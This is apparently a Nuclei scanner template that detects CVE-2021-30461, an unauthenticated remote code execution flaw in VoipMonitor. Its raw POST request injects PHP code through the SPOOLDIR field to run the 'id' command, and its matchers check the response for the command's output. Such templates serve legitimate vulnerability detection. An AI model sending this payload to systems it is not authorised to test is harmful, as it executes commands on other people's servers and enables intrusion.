nuclei-templates/cves/2021/CVE-2021-30461.yaml

46 lines
1.3 KiB
YAML

id: CVE-2021-30461
info:
name: VoipMonitor <24.61 - Remote Code Execution
author: shifacyclewala,hackergautam
severity: critical
description: |
VoipMonitor prior to 24.61 is susceptible to remote code execution vulnerabilities because of its use of user supplied data via its web interface, allowing remote unauthenticated users to trigger a remote PHP code execution vulnerability.
reference:
- https://ssd-disclosure.com/ssd-advisory-voipmonitor-unauth-rce/
- https://nvd.nist.gov/vuln/detail/CVE-2021-30461
- https://ssd-disclosure.com/ssd-advisory--voipmonitor-unauth-rce
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-30461
cwe-id: CWE-94
tags: cve,cve2021,rce,voipmonitor
requests:
- raw:
- |
POST /index.php HTTP/1.1
Host: {{Hostname}}
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
SPOOLDIR=test".system(id)."&recheck=Recheck
matchers-condition: and
matchers:
- type: word
words:
- "uid="
- "gid="
- "groups="
- "VoIPmonitor installation"
part: body
condition: and
- type: status
status:
- 200
# Enhanced by mp on 2022/05/17